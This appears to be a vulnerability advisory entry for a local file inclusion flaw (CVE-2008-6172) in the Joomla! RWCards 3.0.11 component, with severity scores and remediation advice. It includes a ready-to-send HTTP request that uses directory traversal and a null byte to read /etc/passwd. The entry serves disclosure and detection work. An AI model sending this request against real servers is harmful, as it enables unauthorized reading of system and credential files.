| Title | Joomla! Component RWCards 3.0.11 - Local File Inclusion |
|---|---|
| Author | daffainfo |
| Severity | Medium |
| Impact | Successful exploitation of this vulnerability could allow an attacker to read sensitive files on the server, leading to unauthorized access and potential data leakage. |
| Remediation | Update Joomla! Component RWCards to the latest version to mitigate the vulnerability. |
| CVSS Score | 6.8 |
| EPSS Score | 0.05386 |
| CVE ID | CVE-2008-6172 |
| CWE ID | CWE-22 |
| Tags | cve2008 cve joomla lfi edb weberr vuln |
A directory traversal vulnerability in captcha/captcha_image.php in the RWCards (com_rwcards) 3.0.11 component for Joomla! when magic_quotes_gpc is disabled allows remote attackers to include and execute arbitrary local files via directory traversal sequences in the img parameter.
GET /components/com_rwcards/captcha/captcha_image.php?img=../../../../../../../../../etc/passwd%00 HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36
Connection: close
Accept: */*
Accept-Language: en
Accept-Encoding: gzip
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